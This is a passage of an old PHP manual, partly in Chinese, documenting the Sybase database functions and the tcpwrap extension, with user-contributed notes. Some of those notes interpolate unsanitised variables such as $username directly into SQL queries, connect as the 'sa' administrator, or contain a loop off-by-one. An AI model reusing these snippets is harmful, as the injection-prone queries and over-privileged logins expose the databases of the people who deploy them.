sybase_data_seek() moves the internal row pointer of the Sybase result associated with the specified result identifier to pointer to the specified row number. The next call to sybase_fetch_row() would return that row.

See also sybase_fetch_row().

add a note add a note User Contributed Notes
mark at somewhere dot com
16-Nov-2004 04:54
Make sure you have a data to seek, else you will get a bad row offset warning.
verdy_p at wanadoo dot fr
25-Jul-1999 05:33
Use this function to skip rows in an ordered selection, for example to display only a limited ranges of rows in an HTML page, with "previous" and "next" submission buttons for the navigation. The row number may be stored in a hidden form entry or in the URL associated to the navigation links if you do not want to display forms in your page. This current row number will be submitted back to give the user the option to display other entries from the database.
However, avoid using this function to move randomly in a query result set. Note also that specifying a large number of rows to skip may be a performance issue, because the Sybase client in PHP3 will have to fetch many rows prior to find the requested row. An alternate solution is to use queries which return an ordered unique ID with each row returned, so that queries will use more efficient SQL to retrieve data rows in a BETWEEN condition in the WHERE clause, minimizing the impact of unnecessary fetched rows. Such access methods give much more productive results because it has a lower impact on the SQL server which will return small result sets.
A good way to minimize the impact of this function is to give the user the option to select more specific data with additional search fields, and forbid queries that return too many queries. You may also configure your PHP3 script so that it will limit the number of rows returned instead of providing "previous" and "next" navigation controls. Finally you may give the user an option to specify the number of rows he wants to display, and fix a limit on the specified number, so that no user will be able to display more data than this hardcoded limit in your PHP3 script.
add a note add a note

后退 | 起点 | 前进
sybase_connect | 上一级 | sybase_deadlock_retry_count


sybase_deadlock_retry_count

(PHP 4 >= 4.3.0, PHP 5)

sybase_deadlock_retry_count -- Sets the deadlock retry count

Description

void sybase_deadlock_retry_count ( int retry_count )

Using sybase_deadlock_retry_count(), the number of retries can be defined in cases of deadlocks. By default, every deadlock is retried an infinite number of times or until the process is killed by Sybase, the executing script is killed (for instance, by set_time_limit()) or the query succeeds.

注: 本函数仅适用于 Sybase 的 CT 库接口，而不适用于 DB 库。

表格 1. Values for retry_count

-1 | Retry forever (default)
0 | Do not retry
n | Retry n times

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_data_seek | 上一级 | sybase_fetch_array


sybase_fetch_array

(PHP 3, PHP 4, PHP 5)

sybase_fetch_array -- Fetch row as array

Description

array sybase_fetch_array ( resource result )

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

sybase_fetch_array() is an extended version of sybase_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

An important thing to note is that using sybase_fetch_array() is NOT significantly slower than using sybase_fetch_row(), while it provides a significant added value.

注: When selecting fields with identical names (for instance, in a join), the associative indices will have a sequential number prepended. See the example for details.

例子 1. Identical fieldnames

<?php

$dbh = sybase_connect('SYBASE', '', '');
$q = sybase_query('SELECT * FROM p, a WHERE p.person_id= a.person_id');
var_dump(sybase_fetch_array($q));
sybase_close($dbh);
?>

The above example would produce the following output (assuming the two tables only have each one column called "person_id"):

array(4) {
  [0]=>
  int(1)
  ["person_id"]=>
  int(1)
  [1]=>
  int(1)
  ["person_id1"]=>
  int(1)
}

See also
sybase_fetch_row(),
sybase_fetch_assoc() and
sybase_fetch_object().

add a note add a note User Contributed Notes
burak3 at gmail dot com
06-Apr-2005 03:25
For varchar type fields, sybase api fetch is limited with 255 characters.
In sybase you can have a varchar field nearly upto a page size, ex: varchar(1500)
joey at samaritan dot com
23-Feb-1999 12:04
$q =  sybase_query("SELECT COUNT (DISTINCT OPPORTUNITY_ID) FROM <BR> M_OPP_INTERESTS WHERE INTEREST_ID = $i_id", $db);<BR>
     while ($op_by_int = sybase_fetch_array($q)) {<BR>
       while (list( $k, $v ) = each( $op_by_int )) {<BR>
               echo "\$op[$k] => $v\n";<BR>
       }<BR>
<BR>
Returns:<BR>
$op[0] => 2164<BR>
$op[computed] => 2164
add a note add a note

后退 | 起点 | 前进
sybase_deadlock_retry_count | 上一级 | sybase_fetch_assoc


sybase_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5)

sybase_fetch_assoc -- Fetch a result row as an associative array

Description

array sybase_fetch_assoc ( resource result )

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

注: 本函数仅适用于 Sybase 的 CT 库接口，而不适用于 DB 库。

sybase_fetch_assoc() is a version of sybase_fetch_row() that uses column names instead of integers for indices in the result array. Columns from different tables with the same names are returned as name, name1, name2, ..., nameN.

An important thing to note is that using sybase_fetch_assoc() is NOT significantly slower than using sybase_fetch_row(), while it provides a significant added value.

See also
sybase_fetch_array(),
sybase_fetch_object() and
sybase_fetch_row().

add a note add a note User Contributed Notes
elektrotechnik at onlinehome dot de
06-May-2004 07:33
Very often you see constructs like this to loop thru a result set:

while ($row = sybase_fetch_assoc($result))
{
   while (current($row)) // or  while (current($row) != false)
   {
       $data = current($row);
       $key = key($row);

       //
       // do stuff here
       //

   next($row);
   }
}

Do not use it in this way! You have to write the inner while loop this way:

while (current($row) !== false)

If you just use
while (current($row) != false)
or
while (current($row))

you could be in trouble and loose some data. In my case I had a query which contained the following statement:

datediff(dd, date1, date2) as days

Now if days computes to 0 then the two while loop examples from above will exit (because the 0 is 'seen' as false). Therefore you must use while (current($row) !== false) which will not exit if one of you data contains 0.

Hth,
rgds,
Marcus
jpeterso at moody dot edu
02-Jul-2003 03:51
For users that want this function in other applications, use this function.  I have been using it for over a year with great success.

function sybase_fetch_assoc($query_result){
       $row = sybase_fetch_array($query_result);
       $values = "";
       if(is_array($row))
       {
       while(list($key, $val) = each($row))
           {
               $values[$key] = $val;
           }
       }
   return $values;
}
add a note add a note

后退 | 起点 | 前进
sybase_fetch_array | 上一级 | sybase_fetch_field


sybase_fetch_field

(PHP 3, PHP 4, PHP 5)

sybase_fetch_field -- Get field information from a result

Description

object sybase_fetch_field ( resource result [, int field_offset] )

Returns an object containing field information.

sybase_fetch_field() can be used in order to obtain information about fields in a certain query result. If the field offset isn't specified, the next field that wasn't yet retrieved by sybase_fetch_field() is retrieved.

The properties of the object are:

  • name - column name. if the column is a result of a function, this property is set to computed#N, where #N is a serial number.

  • column_source - the table from which the column was taken

  • max_length - maximum length of the column

  • numeric - 1 if the column is numeric

  • type - datatype of the column

See also sybase_field_seek().

add a note add a note User Contributed Notes
anthony dot leung at virgin dot net
26-Jun-2003 02:44
Bit short on comments and tips bout this one so head down to mysql_fetch_fields where the concept is the same. I seemed to get an infinite loop over there using the $i counter tho, so I used a for loop instead.
The list of properties you can get from what I've called $info is in the example to the mysql equivalent.

//start of an example to print out column headings

echo "<table><tr>";
  $numfields=sybase_num_fields($query);
  for ($f=0;$f<=$numfields;$f++){
   $info = sybase_fetch_field($query);
   echo "<td> $info->name </td>";
  }
  echo "</tr><tr>";
gray at voicenet dot com
16-Oct-1999 06:27
The 'type' field contains (roughly) the datatype of the source column.  Types returned are:

  'type'  Sybase Type
  -------  --------------------------
  string  CHAR, VARCHAR, TEXT
  image    IMAGE
  blob    BINARY, VARBINARY
  bit      BIT
  int      TINYINT, SMALLINT, INT
  real    REAL, FLOAT, NUMERIC, DECIMAL
  money    MONEY
  datetime DATETIME, SMALLDATETIME
add a note add a note

后退 | 起点 | 前进
sybase_fetch_assoc | 上一级 | sybase_fetch_object


sybase_fetch_object

(PHP 3, PHP 4, PHP 5)

sybase_fetch_object -- Fetch a row as an object

Description

object sybase_fetch_object ( resource result [, mixed object] )

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

sybase_fetch_object() is similar to sybase_fetch_assoc(), with one difference - an object is returned, instead of an array.

Use the second object to specify the type of object you want to return. If this parameter is omitted, the object will be of type stdClass.

注: As of PHP 4.3.0, this function will no longer return numeric object members.

Old behaviour:
object(stdclass)(3) {
  [0]=>
  string(3) "foo"
  ["foo"]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  ["bar"]=>
  string(3) "bar"
}
New behaviour:
object(stdclass)(3) {
  ["foo"]=>
  string(3) "foo"
  ["bar"]=>
  string(3) "bar"
}

例子 1. sybase_fetch_object() return as Foo

<?php
    class Foo {
        var $foo, $bar, $baz;
    }

    // {...]
    $qrh= sybase_query('SELECT foo, bar, baz FROM example');
    $foo= sybase_fetch_object($qrh, 'Foo');
    $bar= sybase_fetch_object($qrh, new Foo());
    // {...]
?>

Speed-wise, the function is identical to sybase_fetch_array(), and almost as quick as sybase_fetch_row() (the difference is insignificant).

See also sybase_fetch_array() and sybase_fetch_row().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_fetch_field | 上一级 | sybase_fetch_row


sybase_fetch_row

(PHP 3, PHP 4, PHP 5)

sybase_fetch_row -- Get a result row as an enumerated array

Description

array sybase_fetch_row ( resource result )

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

sybase_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Subsequent call to sybase_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

表格 1. Data types

PHP | Sybase
string | VARCHAR, TEXT, CHAR, IMAGE, BINARY, VARBINARY, DATETIME
int | NUMERIC (w/o precision), DECIMAL (w/o precision), INT, BIT, TINYINT, SMALLINT
float | NUMERIC (w/ precision), DECIMAL (w/ precision), REAL, FLOAT, MONEY
NULL | NULL

See also
sybase_fetch_array(),
sybase_fetch_assoc(),
sybase_fetch_object(),
sybase_data_seek() and
sybase_result().

add a note add a note User Contributed Notes
mikeegg at prodigy dot net
03-Dec-1999 02:53
Just a simple example modified from the sybase_fetch_array():

<title>sybase example</title>
<?php
   $db = sybase_connect("sybtest", "sa", "teacher");
   $q = sybase_query("select name from syslogins", $db);
   while($row = sybase_fetch_row($q)) {
       while(list($k, $v) = each($row)) {
           echo "\$row[$k] => $v\n";
       }
   }
?>

$row[0] => dnld
$row[0] => edi
$row[0] => oes
$row[0] => oesuseradmin
$row[0] => rpts
$row[0] => sa
$row[0] => upld
add a note add a note

后退 | 起点 | 前进
sybase_fetch_object | 上一级 | sybase_field_seek


sybase_field_seek

(PHP 3, PHP 4, PHP 5)

sybase_field_seek -- Sets field offset

Description

bool sybase_field_seek ( resource result, int field_offset )

Seeks to the specified field offset. If the next call to sybase_fetch_field() won't include a field offset, this field would be returned.

如果成功则返回 TRUE，失败则返回 FALSE。

See also sybase_fetch_field().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_fetch_row | 上一级 | sybase_free_result


sybase_free_result

(PHP 3, PHP 4, PHP 5)

sybase_free_result -- Frees result memory

Description

bool sybase_free_result ( resource result )

sybase_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script ends. You may call sybase_free_result() with the result identifier as an argument and the associated result memory will be freed.

add a note add a note User Contributed Notes
verdy_p at wanadoo dot fr
25-Jul-1999 06:10
When processing queries that return MANY rows, and when you put a limit on the number of rows you fetch from the result set, you should always call this function to close the current result set, because the SQL server may still be pending waiting for other rows to be fetched by your script. When you call this function, the Sybase client in PHP3 will signal to Sybase SQL Server that other pending results can be ignored, and the SQL server connection will return faster to the "waiting command" state, instead of keeping in the "suspend" state, saving much resources on the SQL-Server. In fact, it is  a good idea to call this function after all your queries to save up SQL server resources.
Note that when processing SQL batchs with multiple queries, and stored procedure calls that return multiple result sets, there's no provision here to let the server return the next result set. There should be another function like sybase_next_result() to close the current result set, and let the SQL server go on the next SQL statements. Such a function would return a status that indicates if further results are coming or if the query is really terminated.
add a note add a note

后退 | 起点 | 前进
sybase_field_seek | 上一级 | sybase_get_last_message


sybase_get_last_message

(PHP 3, PHP 4, PHP 5)

sybase_get_last_message -- Returns the last message from the server

Description

string sybase_get_last_message ( void )

sybase_get_last_message() returns the last message reported by the server.

See also sybase_min_message_severity().

add a note add a note User Contributed Notes
uioreanu at hotmail dot com
22-Sep-2001 06:19
This function comes from version 4.0.5,
and not from PHP 4 >= 4.0.0 as stated here.
So don't not waist time like I did searching for it.

http://www.php.net/ChangeLog-4.php
Version 4.0.5
30-Apr-2001
Added sybase_get_last_message() to the Sybase CT module. (Jan Fedak)
add a note add a note

后退 | 起点 | 前进
sybase_free_result | 上一级 | sybase_min_client_severity


sybase_min_client_severity

(PHP 3, PHP 4, PHP 5)

sybase_min_client_severity -- Sets minimum client severity

Description

void sybase_min_client_severity ( int severity )

sybase_min_client_severity() sets the minimum client severity level.

注: 本函数仅适用于 Sybase 的 CT 库接口，而不适用于 DB 库。

See also sybase_min_server_severity().

add a note add a note User Contributed Notes
sean dot healey at bayernlb dot co dot uk
28-Oct-2005 06:50
Sybase considers severity levels 0-16 as non-fatal. Above that you probably don't want to block messages.
rudolf at 1stomni dot com
28-Feb-2002 04:41
This parameter setup level of responce mesage filtering when you compile
--with-sybase_ct

<?
sybase_min_client_severity(9);
sybase_min_server_severity(9);
$db=sybase_connect("mdserver","sa","");
?>

Will result:
Warning: Sybase: Server message: Changed database context to 'master'.
(severity 10, procedure N/A) in
/var/www/html/DBAdmins/phpSybaseAdmin/test.php on line 4

<?
sybase_min_client_severity(100);
sybase_min_server_severity(100);
$db=sybase_connect("mdserver","sa","");
?>

Will not generate warning!!!

Can be used for SYBASE debugging !
27-Oct-2001 05:46
The severity levels mentioned here are referenced in the Sybase System Administration documentation. I didn't know that, and it annoyed me. Now you know.
add a note add a note

后退 | 起点 | 前进
sybase_get_last_message | 上一级 | sybase_min_error_severity


sybase_min_error_severity

(PHP 3, PHP 4, PHP 5)

sybase_min_error_severity -- Sets minimum error severity

Description

void sybase_min_error_severity ( int severity )

sybase_min_error_severity() sets the minimum error severity level.

注: 本函数仅适用于 Sybase 的 DB 库接口，而不适用于 CT 库。

See also sybase_min_message_severity().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_min_client_severity | 上一级 | sybase_min_message_severity


sybase_min_message_severity

(PHP 3, PHP 4, PHP 5)

sybase_min_message_severity -- Sets minimum message severity

Description

void sybase_min_message_severity ( int severity )

sybase_min_message_severity() sets the minimum message severity level.

注: 本函数仅适用于 Sybase 的 DB 库接口，而不适用于 CT 库。

See also sybase_min_error_severity().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_min_error_severity | 上一级 | sybase_min_server_severity


sybase_min_server_severity

(PHP 3, PHP 4, PHP 5)

sybase_min_server_severity -- Sets minimum server severity

Description

void sybase_min_server_severity ( int severity )

sybase_min_server_severity() sets the minimum server severity level.

注: 本函数仅适用于 Sybase 的 CT 库接口，而不适用于 DB 库。

See also sybase_min_client_severity().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_min_message_severity | 上一级 | sybase_num_fields


sybase_num_fields

(PHP 3, PHP 4, PHP 5)

sybase_num_fields -- Gets the number of fields in a result set

Description

int sybase_num_fields ( resource result )

sybase_num_fields() returns the number of fields in a result set.

See also
sybase_query(),
sybase_fetch_field() and
sybase_num_rows().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_min_server_severity | 上一级 | sybase_num_rows


sybase_num_rows

(PHP 3, PHP 4, PHP 5)

sybase_num_rows -- Get number of rows in a result set

Description

int sybase_num_rows ( resource result )

sybase_num_rows() returns the number of rows in a result set.

See also
sybase_num_fields(),
sybase_query() and
sybase_fetch_row().

add a note add a note User Contributed Notes
verdy_p at wanadoo dot fr
25-Jul-1999 06:32
Because Sybase does not process the number of returned rows until all rows have been fetched, this function should be avoided if the query returns MANY rows: PHP3 will have to fetch internally all rows coming from the server, keeping results in memory until the result set is fully returned and no more rows are signaled by the SQL Server. If you want to put a limit on the number of rows to really fetch in your application, it will be much faster to first select the count of rows that match the search criters, prior to select effective data. Shame, the current implementation of PHP3 Sybase support functions does not have an option to control whever all rows should be fetched prior to return from the query. More, there's no provision for queries that return multiple results sets, so this function terminates the current query without allowing further results sets to be returned. A good idea would be that this function processes only the current result set, but does not terminate the query, allowing the script to use either a new "sybase_next_result()" or "sybase_free_result()" after processing the current dataset.
The current implementation of this function fetches all pending rows in memory, which updates the counter that is otherwised set up for the sybase_affected_rows(). If you don't call this function, sybase_affected_rows() is not accurate for the current selected result set because all rows have not been internally fetched. If you just want to show the total number of rows displayed on your HTML page, it's a good idea to call it only AFTER all rows have been fetched, because this count is immediately accurate without requiring PHP3 to fetch pending rows and save them in internal memory.
add a note add a note

后退 | 起点 | 前进
sybase_num_fields | 上一级 | sybase_pconnect


sybase_pconnect

(PHP 3, PHP 4, PHP 5)

sybase_pconnect -- Open persistent Sybase connection

Description

resource sybase_pconnect ( [string servername [, string username [, string password [, string charset [, string appname]]]]] )

Returns a positive Sybase persistent link identifier on success, or FALSE on error.

sybase_pconnect() acts very much like sybase_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (sybase_close() will not close links established by sybase_pconnect()).

This type of links is therefore called 'persistent'.

See also sybase_connect().

add a note add a note User Contributed Notes
verdy_p at wanadoo dot fr
25-Jul-1999 04:53
The servername specified in sybase_connect and sybase_pconnect is solved locally on the PHP3 server host, which should be configured with the appropriate Sybase client configuration. This includes setting the environment variables for the account that runs the PHP3 extension, i.e. if it runs as a Web server extension, it must be configured in the user account that runs the Web server. You may setup at least the SYBASE environment, and add $SYBASE/bin within the user's path that runs the Web server. Standard installations of Sybase clients include setting up either a $SYBASE/interfaces file under Unix, or %SYBASE%\ini\sql.ini under Windows. This file contains local aliasnames for the referenced server names. These names may be different than that really used on the host that run the Sybase SQL Server. What is important is that this Sybase client configuration file will specify the location of the SQL Server, i.e. the network protocol to use, and if it's through TCP/IP, the host name or IP address of the Sybase SQL Server host, and its listener port number. Newer versions of Sybase includes the option to setup the interfaces or SQL.INI file with a single server entry, with will be a Sybase naming service. If this is used, the Sybase OpenClient libraries will connect to this naming service, if the SERVER name specified can't be solved locally. This naming service will provide the SQL Server location for the specified SERVER name you use in the sybase_connect or sybase_pconnect function calls, allowinf naming resolution on sites that want to have a centralized administration of multiple Sybase OpenServer servers, including gateways to other SQL servers such as OpenServer compatible gateways to Oracle or Informix servers. But if you want faster accesses to your Sybase SQL server used by your PHP3 scripts, you should configure the host which runs the PHP3 extension so that servernames can be solved locally. All you need is to add server entries in your interfaces or SQL.INI Sybase OpenClient configuration file.
add a note add a note

后退 | 起点 | 前进
sybase_num_rows | 上一级 | sybase_query


sybase_query

(PHP 3, PHP 4, PHP 5)

sybase_query -- Sends a Sybase query

Description

mixed sybase_query ( string query [, resource link_identifier] )

Returns a positive Sybase result identifier on success, FALSE on error, or TRUE if the query was successful but didn't return any columns.

sybase_query() sends a query to the currently active database on the server that's associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if sybase_connect() was called, and use it.

See also sybase_select_db() and sybase_connect().

add a note add a note User Contributed Notes
matt dot sawyer at gmail dot com
29-Oct-2004 12:21
I am using PHP 4.1.1 to connect to an older version of Sybase that doesn't work with CT.  I found that while attempting to execute an erroneous query, sybase_query() never returns false for non-select query statements.  This was reported as a bug but then dismissed because the problem is that Sybase itself does not indicate any error to PHP.

However I appear to have found a workaround: after each query statement, call sybase_get_last_message().  If that function returns you anything, it will be an error message.  Then you know your non-select query has truly failed.
cnbluesea at hotmail dot com
23-Aug-2002 02:54
To use this function to execute stored procedures by parameters like this:
sybase_query("exec p_name '$para1','$para2'",$conn)
$para1 and $para2 are strings.
it works well.
dabratt at ifrance dot com
09-Jul-2002 09:00
Strange problem... I'm accessing a SQL SERVER 2000 database through freetds with php v4.0.1pl2 on linux.
Thoses instructions work fine :

// Just a test
sybase_query("SELECT MES_ID FROM T_MESSAGE", $dbproc);

// data i want to retrieve, stored procedure
$resConfig = sybase_query("exec P_SLC_EMAILCONFIG", $dbproc);
$arrConfig = sybase_fetch_array($resConfig);

But, when i replace the SELECT statement by an UPDATE statement, i.e:

// Here's the update
sybase_query("UPDATE T_MESSAGE SET MES_STATE = 0", $dbproc);

// data i want to retrieve, stored procedure
$resConfig = sybase_query("exec P_SLC_EMAILCONFIG", $dbproc);
$arrConfig = sybase_fetch_array($resConfig);

Then i've got an error : "Supplied argument is not a valide Sybase result resource.." on the line containing the sybase_fetch_array command.
I don't understand why... I have to close and reopen the connection if i want those lines to work!!!
dezi at digicol dot de
25-Jan-2001 04:26
sybase_query stores the whole result set in memory before returning. This function is unusable for real large result sets, ie. dumping a large table from sybase to php.
ilya at vtrails dot com
21-Feb-2000 10:42
This is true for stored procedures' execution results, too. If you have a result set and a status returned, you will only be able to access the result set. Argh.
verdy_p at wanadoo dot fr
25-Jul-1999 06:00
This function can be used to call stored procedures, or to process multiple queries in the same call in the same "batch". However there's a limit on the kind of stored procedures you can call, because Sybase allows a stored procedure or "batch" to return multiple result sets, and because the surrent implementation of sybase support in PHP3 has no provision to process each result set, one after one. If your stored procedure or batch has multiple result sets returned, you will only be able to retrieved the first result set in you PHP3 script. Note that other result sets won't be processed by the SQL server until you close the current result set. So this may suspend the execution of a stored procedure or batch on the SQL Server. Note also that if a stored procedure or batch uses "print" or "raiserror" SQL statements, you won't be able to collect the returned messages in the result set, because these statements do not generate a result set but instead return asynchronous server messages which currently have no support in the sybase PHP3 set of functions.
It would be a good idea for someone to add the support for queries that return multiple result sets and server messages, so that any kind of Sybase SQL queries can be used in PHP3 scripts.
This would require adding a function to go to the next results set, and a function to retrieve server messages generated before, between, and after each result sets. Note also that server messages could be sent within a result set, this won't be from "print" or "raiserror" SQL statements but internal server errors while processing a result set returned by a SELECT statement, or messages generated by triggers. There could also exist asynchronous client messages while processing any kind of return (result set or server messages), and there's for now no function to return them. Such client messages mainly signal connection status and data conversion errors.
add a note add a note

后退 | 起点 | 前进
sybase_pconnect | 上一级 | sybase_result


sybase_result

(PHP 3, PHP 4, PHP 5)

sybase_result -- Get result data

Description

string sybase_result ( resource result, int row, mixed field )

Returns the contents of the cell at the row and offset in the specified Sybase result set.

sybase_result() returns the contents of one cell from a Sybase result set. The field argument can be the field's offset, or the field's name, or the field's table dot field's name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than sybase_result(). Also, note that specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Recommended high-performance alternatives:
sybase_fetch_row(),
sybase_fetch_array() and
sybase_fetch_object().

add a note add a note User Contributed Notes
samthorogood at yahoo dot com
28-Aug-2001 08:24
This could be an even quicker way (using the code above as a base):

$db = sybase_connect("sybtest", "sa", "users");
$id = sybase_result(sybase_query("EXEC usp_get_id @username='$username'", $db));
echo $id;

Even simpler. :)
chad at matrixnetwork dot net
06-Apr-2001 07:39
If a stored procedure is doing all the work for you and you just need to retrieve a single cell...

$db = sybase_connect("sybtest", "sa", "users");
$query = sybase_query("EXEC usp_get_id @username='$username'", $db);
$id = sybase_result($query,0,0);
echo $id;

Simple.
add a note add a note

后退 | 起点 | 前进
sybase_query | 上一级 | sybase_select_db


sybase_select_db

(PHP 3, PHP 4, PHP 5)

sybase_select_db -- Selects a Sybase database

Description

bool sybase_select_db ( string database_name [, resource link_identifier] )

sybase_select_db() sets the current active database on the server that's associated with the specified link identifier. If no link identifier is specified, the last opened link is assumed. If no link is open, the function will try to establish a link as if sybase_connect() was called, and use it.

如果成功则返回 TRUE，失败则返回 FALSE。

Every subsequent call to sybase_query() will be made on the active database.

See also
sybase_connect(),
sybase_pconnect() and
sybase_query()

add a note add a note User Contributed Notes
jayne dot westall at bayernlb dot co dot
31-Oct-2005 04:33
Sybase generates the following warning whenever you change databases.

Sybase: Server message: Changed database context to 'databasename'.

Suppress the message by prefixing sybase_connect and sybase_select_db with an @ sign.
verdy_p at wanadoo dot fr
25-Jul-1999 05:14
Using this function is not required under Sybase, because Sybase SQL Server users can be configured with a default database to use at connection time. You only need this function if your SQL Server has multiple database names, and you want to switch your queries from one database to another one on the same SQLServer, for example if the connection user name has "master" as its default database name and you want to process queries in your application database, or if the username (in fact the loginname in Sybase terminology) has an application database configured for its default database, and you want to process some queries in the "master", "tempdb", or "sybsystemprocs" database.
When you call this function, and it returns successfully, the "username" parameter in the sybase_connect or sybase_pconnect function calls is NOT the user name that holds the access rights in that database. In fact, the "username" is used by Sybase only as a loginname for the SQL Server, and it is mapped to a database-specific username according to the contents of the database sysusers system table that maps logins to database users. Many databases only have a "dbo" username, whatever the loginname you configured on the server's "master" database; in that case to the database is specified by the default servername for the specified loginname, and the access rights are determined by the database's map in sysusers system table which specifies with login is associated with the "dbo" user. You may elect to configure another user in your application database, with limited granted rights, and then add a new server login with a specific password and this database as its default database to use. Such a configuration will add an extra level of security for your database, avoiding full privileges (thus forbidding alteration of the database schema by PHP3 scripts). You may also give strict grants with select-only access rights to the new user, so that PHP3 will only be able to select data from the database, but won't be granted to modify the database contents.
add a note add a note

后退 | 起点 | 前进
sybase_result | 上一级 | sybase_set_message_handler


sybase_set_message_handler

(PHP 4 >= 4.3.0, PHP 5)

sybase_set_message_handler -- Sets the handler called when a server message is raised

Description

bool sybase_set_message_handler ( callback handler [, resource connection] )

sybase_set_message_handler() sets a user function to handle messages generated by the server. You may specify the name of a global function, or use an array to specify an object reference and a method name.

注: 本函数仅适用于 Sybase 的 CT 库接口，而不适用于 DB 库。

The handler expects five arguments in the following order: message number, severity, state, line number and description. The first four are integers. The last is a string. If the function returns FALSE, PHP generates an ordinary error message.

如果成功则返回 TRUE，失败则返回 FALSE。

注: The connection parameter was added in PHP 4.3.5.

例子 1. sybase_set_message_handler() callback function

<?php
    function msg_handler($msgnumber, $severity, $state, $line, $text)
    {
        var_dump($msgnumber, $severity, $state, $line, $text);
    }

    sybase_set_message_handler('msg_handler');
?>

例子 2. sybase_set_message_handler() callback to a class

<?php
    class Sybase {
        function handler($msgnumber, $severity, $state, $line, $text)
        {
            var_dump($msgnumber, $severity, $state, $line, $text);
        }
    }

    $sybase= new Sybase();
    sybase_set_message_handler(array($sybase, 'handler'));
?>

例子 3. sybase_set_message_handler() unhandled messages

<?php
    // Return FALSE from this function to indicate you can't handle
    // this. The error is printed out as a warning, the way you're used
    // to it if there is no handler installed.
    function msg_handler($msgnumber, $severity, $state, $line, $text)
    {
        if (257 == $msgnumber) {
            return false;
        }
        var_dump($msgnumber, $severity, $state, $line, $text);
    }

    sybase_set_message_handler('msg_handler');
?>

add a note add a note User Contributed Notes
20-Jun-2003 05:23
You can check for Showplan messages using this callback. Showplan message numbers go from 6201 through 6292 (at least here, on SQL Server/11.0.3.3).

select error, description from master..sysmessages where error between 6201 and 6292
add a note add a note

后退 | 起点 | 前进
sybase_select_db | 上一级 | sybase_unbuffered_query


sybase_unbuffered_query

(PHP 4 >= 4.3.0, PHP 5)

sybase_unbuffered_query -- Send a Sybase query and do not block

Description

resource sybase_unbuffered_query ( string query, resource link_identifier [, bool store_result] )

Returns a positive Sybase result identifier on success, or FALSE on error.

注: 本函数仅适用于 Sybase 的 CT 库接口，而不适用于 DB 库。

sybase_unbuffered_query() sends a query to the currently active database on the server that's associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if sybase_connect() was called, and use it.

Unlike sybase_query(), sybase_unbuffered_query() reads only the first row of the result set. sybase_fetch_array() and similar function read more rows as needed. sybase_data_seek() reads up to the target row. The behavior may produce better performance for large result sets.

sybase_num_rows() will only return the correct number of rows if all result sets have been read. To Sybase, the number of rows is not known and is therefore computed by the client implementation.

注: If you don't read all of the resultsets prior to executing the next query, PHP will raise a warning and cancel all of the pending results. To get rid of this, use sybase_free_result() which will cancel pending results of an unbuffered query.

The optional store_result can be FALSE to indicate the resultsets shouldn't be fetched into memory, thus minimizing memory usage which is particularly interesting with very large resultsets.

例子 1. sybase_unbuffered_query() example

<?php

$dbh = sybase_connect('SYBASE', '', '');
$q = sybase_unbuffered_query('select firstname, lastname from huge_table', $dbh, false);
sybase_data_seek($q, 10000);
$i = 0;

while ($row = sybase_fetch_row($q)) {
    echo $row[0], ' ', $row[1], '<br />';
    if ($i++ > 40000) {
        break;
    }
}

sybase_free_result($q);
sybase_close($dbh);

?>

See also sybase_query().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_set_message_handler | 上一级 | TCP Wrappers Functions


TCP Wrappers Functions

PHP 手册
后退 前进

CXLIV. TCP Wrappers Functions

简介

The TCP wrappers provides a classical unix mechanism which has been designed to check if the remote client is able to connect from the given IP address.

安装

Tcpwrap is currently available through PECL http://pecl.php.net/package/tcpwrap.

If PEAR is available on your *nix-like system you can use the pear installer to install the tcpwrap extension, by the following command: pear -v install tcpwrap.

You can always download the tar.gz package and install tcpwrap by hand:

例子 1. tcpwrap install by hand

gunzip tcpwrap-xxx.tgz
tar -xvf tcpwrap-xxx.tar
cd tcpwrap-xxx
phpize
./configure && make && make install

目录
tcpwrap_check -- Performs a tcpwrap check

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
sybase_unbuffered_query | 上一级 | tcpwrap_check


tcpwrap_check

(PECL)

tcpwrap_check -- Performs a tcpwrap check

说明

bool tcpwrap_check ( string daemon, string address [, string user [, bool nodns]] )

This function consults the /etc/hosts.allow and /etc/hosts.deny files to check if access to service daemon should be granted or denied for a client.

参数

daemon

The service name.

address

The client remote address. Can be either an IP address or a domain name.

user

An optional user name.

nodns

If address looks like domain name then DNS is used to resolve it to IP address; set nodns to TRUE to avoid this.

返回值

This function returns TRUE if access should be granted, FALSE otherwise.

范例

例子 1. Deny all connections from localhost

If your /etc/hosts.deny file contains:

php: 127.0.0.1

And your code looks like:

<?php
if (!tcpwrap_check('php', $_SERVER['REMOTE_ADDR'])) {
  die('You are not welcome here');
}
